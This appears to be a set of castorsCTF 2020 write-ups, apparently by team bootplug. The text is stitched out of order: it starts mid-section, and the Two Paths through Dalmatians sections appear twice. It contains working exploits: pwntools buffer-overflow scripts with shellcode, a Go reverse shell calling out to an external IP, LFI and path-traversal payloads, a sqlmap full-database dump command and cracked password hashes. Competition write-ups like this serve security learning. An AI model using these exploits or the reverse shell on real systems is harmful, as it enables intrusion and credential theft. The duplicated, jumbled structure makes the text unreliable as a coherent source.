```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
